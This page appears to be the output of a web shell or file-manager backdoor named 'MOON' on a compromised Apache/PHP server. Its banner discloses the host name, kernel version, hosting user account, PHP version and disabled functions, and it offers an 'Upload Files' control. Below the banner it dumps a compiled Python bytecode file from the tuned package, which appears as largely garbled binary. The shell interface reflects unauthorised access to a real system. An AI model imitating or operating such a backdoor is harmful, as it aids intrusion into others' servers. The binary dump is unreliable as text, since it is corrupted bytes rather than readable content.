MOON
Server: Apache
System: Linux s5.yayogua.com.py 6.12.0-124.55.3.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:54:02 EDT 2026 x86_64
User: sanbercountryclu (1012)
PHP: 8.2.33
Disabled: NONE
Upload Files
File: //lib/python3.12/site-packages/tuned/profiles/__pycache__/variables.cpython-312.pyc
�

�]�i	���ddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZmZejj�ZGd�d�Zy)�N)�	functions)�commands)�ConfigParser�Errorc�F�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zy)�	Variablesz8
	Storage and processing of variables used in profiles
	c�p�t�|_i|_i|_t	j
�|_y�N)r�_cmd�
_lookup_re�_lookup_envr�
Repository�
_functions��selfs �=/usr/lib/python3.12/site-packages/tuned/profiles/variables.py�__init__zVariables.__init__s*���j�$�)��$�/��$���(�(�*�$�/�c�8�|j|�dk(r|S||zS)Nr)�find)r�s�prefixs   r�_add_env_prefixzVariables._add_env_prefixs!���V�V�F�^�q��
�8�	�!��rc�.�tjd|�S)Nz\w+$)�re�match)r�variables  r�
_check_varzVariables._check_vars��	���'�(�	#�#rc�@�|�yt|�}|j|�stjd|z�y|j	|�}||j
dt
j|�zdz<||j|j|tj�<y)Nz6variable definition '%s' contains unallowed charactersz
(?<!\\)\${�})�strr�log�error�expandrr�escaper
r�consts�
ENV_PREFIX)rr�valuer�vs     r�add_variablezVariables.add_variables���
�]�	�	�(�m�!�	
����	"��9�9�
E��
P�Q�	�
�k�k�%��!�:;�$�/�/�-�"�)�)�A�,�.��5�6�AB�$���4�'�'��6�+<�+<�=�>rc
�D�tjj|�stj	d|z�y	tdddd��}t|_t|�5}|jdtjzdz|j�z|�ddd�|j�D]<}|j|�D]&}|j!||j#||d�
���(�>y#1swY�YxYw#t$rtj	d	|z�YywxYw)Nz#unable to find variables_file: '%s'�=�#TF)�
delimiters�inline_comment_prefixes�allow_no_value�strict�[z]
z"error parsing variables_file: '%s')�raw)�os�path�existsr"r#rr!�optionxform�open�read_stringr&�MAGIC_HEADER_NAME�readr�sections�optionsr*�get)r�filename�config�fr�os      r�
add_from_filezVariables.add_from_file+s���	������	!��9�9�
2�X�
=�>�	�
��S�C�Y]�fk�l�6��6���X��!�
���s�V�5�5�5��=�����H�(�S�	�
�?�?��a��N�N�1��q����a����A�q�d��3�4�
��	���	�
��9�9�
1�H�
<�=�	�
�s)�%C;�8C/�C;�/C8�4C;�;!D�Dc��|D]W}t|�dk(r2|jtjj	||���C|j|||��Yy)N�include)r!rCr4r5�normpathr*)r�cfg�items   r�add_from_cfgzVariables.add_from_cfg;sM���d�	�$�i�9�����r�w�w�'�'��D�	�2�3����d�C��I�&�	rc�x�tjdd|jj|j|��S)Nz\\(\${\w+})z\1)r�subr�multiple_re_replacer)rr(s  r�
expand_staticzVariables.expand_staticCs+��	�����t�y�y�'D�'D�T�_�_�V[�'\�	]�]rc�r�|�y|jt|��}|jj|�Sr
)rMr!rr$)rr(rs   rr$zVariables.expandFs3��
�]�
�
����U��$�!�	
���	�	��	"�"rc��|jSr
)r
rs r�get_envzVariables.get_envNs��	
�	�	�rN)
�__name__�
__module__�__qualname__�__doc__rrrr*rCrIrMr$rP�rrrrs6���+��
$�C�5� '�^�#�rr)r4r�
tuned.logs�tuned�tuned.constsr&�tuned.profilesr�tuned.utils.commandsr�tuned.utils.config_parserrr�logsr>r"rrUrr�<module>r]s6��	�	���$�)�9��j�j�n�n���D�Dr